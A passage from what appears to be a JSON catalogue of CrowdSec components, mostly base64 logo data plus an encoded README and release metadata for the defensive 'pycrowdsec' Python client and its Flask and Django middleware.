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lKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlKUpSlK//Z", "url": "https://github.com/crowdsecurity/pycrowdsec", "description": "", "stars": 8, "downloads": 0, "readme_content": "PHAgYWxpZ249Y2VudGVyPgo8aW1nIHNyYz0iaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Nyb3dkc2VjdXJpdHkvcHljcm93ZHNlYy9tYWluL2Fzc2V0cy9weWNyb3dkc2VjLmpwZyIgd2lkdGg9IjI4MCIgaGVpZ2h0PSIzMDAiID4KPC9wPgoKPHAgYWxpZ249ImNlbnRlciI+CjxhIGhyZWY9Imh0dHBzOi8vZ2l0dGVyLmltL2Nyb3dkc2VjLXByb2plY3QvY29tbXVuaXR5Ij48aW1nIHNyYz0iaHR0cHM6Ly9iYWRnZXMuZ2l0dGVyLmltL2dpdHRlckhRL2dpdHRlci5wbmciPjwvYT4KPGltZyBzcmM9Imh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvTGljZW5zZS1NSVQtYmx1ZS5zdmciPgo8L3A+CgojIFB5Q3Jvd2RTZWMKCltDcm93ZFNlY10oaHR0cHM6Ly9naXRodWIuY29tL2Nyb3dkc2VjdXJpdHkvY3Jvd2RzZWMpIGlzIGEgRk9TUyB0b29sIHdoaWNoIHBhcnNlcyBsb2dzIGFuZCBkZXRlY3RzIGF0dGFja3MuIFB5Q3Jvd2RTZWMgZW5hYmxlcyBpbnRlZ3JhdGlvbiBvZiBDcm93ZFNlYyB3aXRoIHB5dGhvbiBwcm9qZWN0cy4gSXQgaXMgZWFzeSB0byBzZXR1cCBhbmQgYm9vc3RzIHRoZSBzZWN1cml0eSBieSBsZXZlcmFnaW5nIENyb3dkU2VjJ3MgYXR0YWNrIGRldGVjdGlvbiBjYXBhYmlsaXRpZXMuCgpQeUNyb3dkU2VjIGNvbnRhaW5zIGEgcHl0aG9uIGNsaWVudCBsaWJyYXJ5IGZvciBDcm93ZFNlYywgYXMgd2VsbCBhcyBtaWRkbGV3YXJlcyBmb3IgZGphbmdvIGFuZCBmbGFzayBpbnRlZ3JhdGlvbnMuCgojIyBJbnN0YWxsYXRpb246CgpgYGBiYXNoCnBpcCBpbnN0YWxsIHB5Y3Jvd2RzZWMKYGBgCgpZb3UnbGwgYWxzbyBuZWVkIGFuIGluc3RhbmNlIG9mIENyb3dkU2VjIHJ1bm5pbmcsIHNlZSBpbnN0YWxsYXRpb24gaW5zdHJ1Y3Rpb25zIFtoZXJlXShodHRwczovL2RvY3MuY3Jvd2RzZWMubmV0L0Nyb3dkc2VjL3YxL2dldHRpbmdfc3RhcnRlZC9pbnN0YWxsYXRpb24vKQoKIyMgQ2xpZW50IGxpYnJhcnk6CgojIyMgU3RyZWFtQ2xpZW50CgpUaGlzIGNsaWVudCBwb2xscyBDcm93ZFNlYyBMQVBJIGFuZCBrZWVwcyB0cmFjayBvZiBhY3RpdmUgZGVjaXNpb25zLgpJbiB0aGUgYmVsb3cgZXhhbXBsZSBhc3N1bWUgdGhhdCB0aGVyZSdzIGEgYmFuIGRlY2lzaW9ucyBmb3IgSVAgIjc3Ljg4Ljk5LjY2IiBhbmQgY2FwdGNoYSBkZWNpc2lvbiBmb3IgY291bnRyeSAiQ04iLgoKKipCYXNpYyBVc2FnZToqKgoKYGBgcHl0aG9uCmZyb20gcHljcm93ZHNlYy5jbGllbnQgaW1wb3J0IFN0cmVhbUNsaWVudApjbGllbnQgPSBTdHJlYW1DbGllbnQoCiAgICBhcGlfa2V5PTxDUk9XRFNFQ19BUElfS0VZPiwKKQoKY2xpZW50LnJ1bigpICMgVGhpcyBzdGFydHMgcG9sbGluZyB0aGUgQVBJCgphc3NlcnQgY2xpZW50LmdldF9jdXJyZW50X2RlY2lzaW9ucygpID09IHsKICAgICI3Ny44OC45OS42NiI6ICJiYW4iCiAgICAiQ04iOiAiY2FwdGNoYSIKfQoKYXNzZXJ0IGNsaWVudC5nZXRfYWN0aW9uX2ZvcigiNzcuODguOTkuNjYiKSA9PSAiYmFuIgphc3NlcnQgY2xpZW50LmdldF9hY3Rpb25fZm9yKCJDTiIpID09ICJjYXB0Y2hhIgpgYGAKClRoZSBgQ1JPV0RTRUNfQVBJX0tFWWAgY2FuIGJlIG9idGFpbmVkIGJ5IHJ1bm5pbmcgCmBgYGJhc2gKc3VkbyBjc2NsaSBib3VuY2VycyBhZGQgcHl0aG9uX2JvdW5jZXIKYGBgCgpUaGUgYFN0cmVhbUNsaWVudGAncyBjb25zdHJ1Y3RvciBhbHNvIGFjY2VwdHMgdGhlIGZvbGxvd2luZyBvcHRpb25hbCBwYXJhbWV0ZXJzIGZvciBtb3JlIGFkdmFuY2VkIGNvbmZpZ3VyYXRpb25zLgoKKipsYXBpX3VybCoqIDogc3RyCiAgICBCYXNlIFVSTCBvZiBDcm93ZFNlYyBBUEkuIERlZmF1bHQgaXMgaHR0cDovL2xvY2FsaG9zdDo4MDgwLyAuCgoqKmludGVydmFsKiogOiBpbnQKICAgIFF1ZXJ5IHRoZSBDcm93ZFNlYyBBUEkgZXZlcnkgImludGVydmFsIiBzZWNvbmQKCioqdXNlcl9hZ2VudCoqIDogc3RyCiAgICBVc2VyIGFnZW50IHRvIHVzZSB3aGlsZSBjYWxsaW5nIHRoZSBBUEkuCgoqKnNjb3BlcyoqIDogTGlzdFtzdHJdCiAgICBMaXN0IG9mIGRlY2lzaW9uIHNjb3BlcyB3aGljaCBzaGFsbCBiZSBmZXRjaGVkLiBEZWZhdWx0IGlzIFsiaXAiLCAicmFuZ2UiXQoKIyMjIFF1ZXJ5Q2xpZW50CgpUaGlzIGNsaWVudCB3aWxsIHF1ZXJ5IENyb3dkU2VjIExBUEkgdG8gY2hlY2sgd2hldGhlciB0aGUgcmVxdWVzdGVkIGl0ZW0gaGFzIGFueSBkZWNpc2lvbnMgYWdhaW5zdCBpdC4KSW4gdGhlIGJlbG93IGV4YW1wbGUgYXNzdW1lIHRoYXQgdGhlcmUncyBhIGJhbiBkZWNpc2lvbnMgZm9yIElQICI3Ny44OC45OS42NiIgYW5kIGNhcHRjaGEgZGVjaXNpb24gZm9yIGNvdW50cnkgIkNOIi4KCgoqKkJhc2ljIFVzYWdlOioqCgpgYGBweXRob24KCmZyb20gcHljcm93ZHNlYy5jbGllbnQgaW1wb3J0IFN0cmVhbUNsaWVudApjbGllbnQgPSBTdHJlYW1DbGllbnQoCiAgICBhcGlfa2V5PTxDUk9XRFNFQ19BUElfS0VZPiwKKQoKY2xpZW50LnJ1bigpICMgVGhpcyBzdGFydHMgcG9sbGluZyB0aGUgQVBJCgphc3NlcnQgY2xpZW50LmdldF9hY3Rpb25fZm9yKCI3Ny44OC45OS42NiIpID09ICJiYW4iCmFzc2VydCBjbGllbnQuZ2V0X2FjdGlvbl9mb3IoIkNOIikgPT0gImNhcHRjaGEiCgpgYGAKClRoZSBgUXVlcnlDbGllbnRgJ3MgY29uc3RydWN0b3IgYWxzbyBhY2NlcHRzIHRoZSBmb2xsb3dpbmcgb3B0aW9uYWwgcGFyYW1ldGVycyBmb3IgbW9yZSBhZHZhbmNlZCBjb25maWd1cmF0aW9ucy4KCioqbGFwaV91cmwqKiA6IHN0cgogICAgQmFzZSBVUkwgb2YgQ3Jvd2RTZWMgQVBJLiBEZWZhdWx0IGlzIGh0dHA6Ly9sb2NhbGhvc3Q6ODA4MC8gLgoKKip1c2VyX2FnZW50KiogOiBzdHIKICAgIFVzZXIgYWdlbnQgdG8gdXNlIHdoaWxlIGNhbGxpbmcgdGhlIEFQSS4KCgojIyBGbGFzayBJbnRlZ3JhdGlvbjoKClNlZSBgLi9leGFtcGxlcy9mbGFza2AgZm9yIG1vcmUgZGV0YWlsZWQgZXhhbXBsZSAoaW5jbHVkZXMgY2FwdGNoYSByZW1lZGlhdGlvbiB0b28pLgoKQSBtaW5pbWFsIGZsYXNrIGFwcCB3aXRoIFB5Q3Jvd2RTZWMgcHJvdGVjdGlvbiB3b3VsZCBsb29rIGxpa2U6CmBgYHB5dGhvbgpmcm9tIGZsYXNrIGltcG9ydCBGbGFzawoKZnJvbSBweWNyb3dkc2VjLmNsaWVudCBpbXBvcnQgU3RyZWFtQ2xpZW50CmZyb20gcHljcm93ZHNlYy5mbGFzayBpbXBvcnQgZ2V0X2Nyb3dkc2VjX21pZGRsZXdhcmUKCmNsaWVudCA9IFN0cmVhbUNsaWVudChhcGlfa2V5PTxDUk9XRFNFQ19BUElfS0VZPikKYXBwID0gRmxhc2soX19uYW1lX18pCmFwcC5iZWZvcmVfcmVxdWVzdCgKICAgIGdldF9jcm93ZHNlY19taWRkbGV3YXJlKGFjdGlvbnMsIGMuY2FjaGUsIGV4Y2x1ZGVfdmlld3M9WyJiYW5fcGFnZSJdCikKCmFjdGlvbnMgPSB7CiAgICAiYmFuIjogbGFtYmRhOiByZWRpcmVjdCh1cmxfZm9yKCJiYW5fcGFnZSIpKSwKfQoKQGFwcC5yb3V0ZSgiL2JhbiIpCmRlZiBiYW5fcGFnZSgpOgogICAgcmV0dXJuIGFib3J0KDQwMykKCkBhcHAucm91dGUoIi8iKQpkZWYgaW5kZXgoKToKICAgIHJldHVybiAiSGVsbG8iCgppZiBfX25hbWVfXyA9ICJfX21haW5fXyI6CiAgICBhcHAucnVuKGhvc3Q9IjAuMC4wLjAiKQpgYGAKCiMjIERqYW5nbyBJbnRlZ3JhdGlvbjoKClNlZSBgLi9leGFtcGxlcy9kamFuZ29gIGZvciBtb3JlIGRldGFpbGVkIGV4YW1wbGUgKGluY2x1ZGVzIGNhcHRjaGEgcmVtZWRpYXRpb24gdG9vKS4KCkFmdGVyIGluc3RhbGxpbmcgYHB5Y3Jvd2RzZWNgLCBpbiB5b3VyIGBzZXR0aW5ncy5weWAgYWRkIHRoZSBmb2xsb3dpbmcgbGluZSBpbiB0aGUgYE1JRERMRVdBUkVgIGxpc3QKCmBgYHB5dGhvbgpNSURETEVXQVJFID0gWwogICAgLi4uLi4uLi4uCiAgICAicHljcm93ZHNlYy5kamFuZ28uY3Jvd2RzZWNfbWlkZGxld2FyZSIsCiAgICAuLi4uLi4uLi4KXQpgYGAKCk5leHQgYWRkIGRlZmluZSB0aGUgZm9sbG93aW5nIHZhcmlhYmxlcyByZXF1aXJlZCBmb3IgYHB5Y3Jvd2RzZWNgIHRvIGZ1bmN0aW9uLgoKYGBgcHl0aG9uClBZQ1JPV0RTRUNfTEFQSV9LRVkgPSA8WU9VUl9MQVBJX0tFWT4KUFlDUk9XRFNFQ19BQ1RJT05TID0gewogICAgImJhbiI6IGxhbWJkYSByZXF1ZXN0OiByZWRpcmVjdChyZXZlcnNlKCJiYW5fdmlldyIpKSwKfQojIElNUE9SVEFOVDogSWYgYW55IGFjdGlvbiBpcyBkb2luZyBhIHJlZGlyZWN0IHRvIHNvbWUgdmlldywgYWx3YXlzIGV4Y2x1ZGUgaXQgZm9yIHB5Y3Jvd2RzZWMuIE90aGVyd2lzZSB0aGUgbWlkZGxld2FyZSB3aWxsIHRyaWdnZXIgdGhlIHJlZGlyZWN0IG9uIHRoZSBhY3Rpb24gdmlldyB0b28uClBZQ1JPV0RTRUNfRVhDTFVERV9WSUVXUyA9IHsiYmFuX3ZpZXcifQpgYGAKCgpZb3UnbGwgYWxzbyBuZWVkIHRvIHJlZ2lzdGVyIGEgdmlldyB3aXRoIG5hbWUgYGJhbl92aWV3YC4gSW4gdGhpcyBleGFtcGxlIGFsbCB0aGUgYmFubmVkIElQcyB3b3VsZCBiZSByZWRpcmVjdGVkIHRvIHRoZSBgYmFuX3ZpZXdgCgpGb3IgbW9yZSBhZHZhbmNlZCBjb25maWd1cmF0aW9ucywgeW91IGNhbiBzcGVjaWZ5IHRoZSBmb2xsb3dpbmcgdmFyaWFibGVzIGluIHlvdXIgYHNldHRpbmdzLnB5YAoKKipQWUNST1dEU0VDX1BPTExfSU5URVJWQUwqKiAgaW50IDogUXVlcnkgdGhlIENyb3dkU2VjIEFQSSBldmVyeSBgUFlDUk9XRFNFQ19QT0xMX0lOVEVSVkFMYCBzZWNvbmRzLgoKKipQWUNST1dEU0VDX0xBUElfVVJMKiogc3RyOiBCYXNlIFVSTCBvZiBDcm93ZFNlYyBBUEkuCgoqKlBZQ1JPV0RTRUNfQUNUSU9OUyoqIERpY3Rbc3RyLCBDYWxsYWJsZV06IEFjdGlvbiB0byBiZSB0YWtlbiB3aGVuIHNvbWUgcmVxdWVzdCBtYXRjaGVzIENyb3dkU2VjJ3MgZGVjaXNpb24uCgoqKlBZQ1JPV0RTRUNfUkVRVUVTVF9UUkFOU0ZPUk1FUlMqKiBMaXN0W0NhbGxhYmxlXTogT2J0YWlucyB2YWx1ZSBmcm9tIERqYW5nbyBSZXF1ZXN0IG9iamVjdCwgdGhpcyB2YWx1ZSBpcyB1c2VkIHRvIG1hdGNoIHRoZSByZXF1ZXN0IHdpdGggQ3Jvd2RTZWMncyBkZWNpc2lvbnMuIEJ5IGRlZmF1bHQgaXQgY29udGFpbnMgb25seSBvbmUgdHJhbnNmb3JtZXIgd2hpY2ggb2J0YWlucyBJUCBmcm9tIHRoZSByZXF1ZXN0Lgo=", "status": "stable", "version": "v0.0.4", "assets": [ { "name": "Tarball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/pycrowdsec/tarball/v0.0.4", "asset_url": "https://api.github.com/repos/crowdsecurity/pycrowdsec/tarball/v0.0.4" }, { "name": "Zipball (source code)", "download_url": "https://api.github.com/repos/crowdsecurity/pycrowdsec/zipball/v0.0.4", "asset_url": "https://api.github.com/repos/crowdsecurity/pycrowdsec/zipball/v0.0.4" } ] }, { "name": "cs-openresty-bouncer", "author": "crowdsecurity", "logo": "iVBORw0KGgoAAAANSUhEUgAAA6wAAAMUCAYAAAC4oqpcAAAAAXNSR0IArs4c6QAAAAlwSFlzAAAOxAAADsQBlSsOGwAAA55pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0n77u/JyBpZD0nVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkJz8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0nYWRvYmU6bnM6bWV0YS8nPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6QXR0cmliPSdodHRwOi8vbnMuYXR0cmlidXRpb24uY29tL2Fkcy8xLjAvJz4KICA8QXR0cmliOkFkcz4KICAgPHJkZjpTZXE+CiAgICA8cmRmOmxpIHJkZjpwYXJzZVR5cGU9J1Jlc291cmNlJz4KICAgICA8QXR0cmliOkNyZWF0ZWQ+MjAyMS0xMi0yOTwvQXR0cmliOkNyZWF0ZWQ+CiAgICAgPEF0dHJpYjpFeHRJZD42MGYwZmYxMy00NTkzLTRjYTItYjE2ZC05YWNlMDU2NzQ2MWM8L0F0dHJpYjpFeHRJZD4KICAgICA8QXR0cmliOkZiSWQ+NTI1MjY1OTE0MTc5NTgwPC9BdHRyaWI6RmJJZD4KICAgICA8QXR0cmliOlRvdWNoVHlwZT4yPC9BdHRyaWI6VG91Y2hUeXBlPgogICAgPC9yZGY6bGk+CiAgIDwvcmRmOlNlcT4KICA8L0F0dHJpYjpBZHM+CiA8L3JkZjpEZXNjcmlwdGlvbj4KCiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0nJwogIHhtbG5zOnBkZj0naHR0cDovL25zLmFkb2JlLmNvbS9wZGYvMS4zLyc+CiAgPHBkZjpBdXRob3I+SGFtemEgRXNzYWhlbHk8L3BkZjpBdXRob3I+CiA8L3JkZjpEZXNjcmlwdGlvbj4KCiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0nJwogIHhtbG5zOnhtcD0naHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyc+CiAgPHhtcDpDcmVhdG9yVG9vbD5DYW52YTwveG1wOkNyZWF0b3JUb29sPgogPC9yZGY6RGVzY3JpcHRpb24+CjwvcmRmOlJERj4KPC94OnhtcG1ldGE+Cjw/eHBhY2tldCBlbmQ9J3InPz7bL+yKAAAgAElEQVR4nOzdebAkx30f+G/2e3PPYHAMAALgBYCUaFGkRFMUSQUlm+ba2pBkOxyx9q5WDoW90m5s2GGHY/cf/7F/+A9v7DocobBWtyjq4KkT4H0BoEDiJjAAZnDMfWHmzZt3X313V+X+UUdnZWdWZVVXd1e/9/0gBu+97qrMrDt/lVlZQkopQURERERERFQxtWkXgIiIiIiIiMiEASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlYiIiIiIiCqJASsRERERERFVEgNWIiIiIiIiqiQGrERERERERFRJDFiJiIiIiIiokhiwEhERERERUSUxYCUiIiIiIqJKYsBKRERERERElcSAlY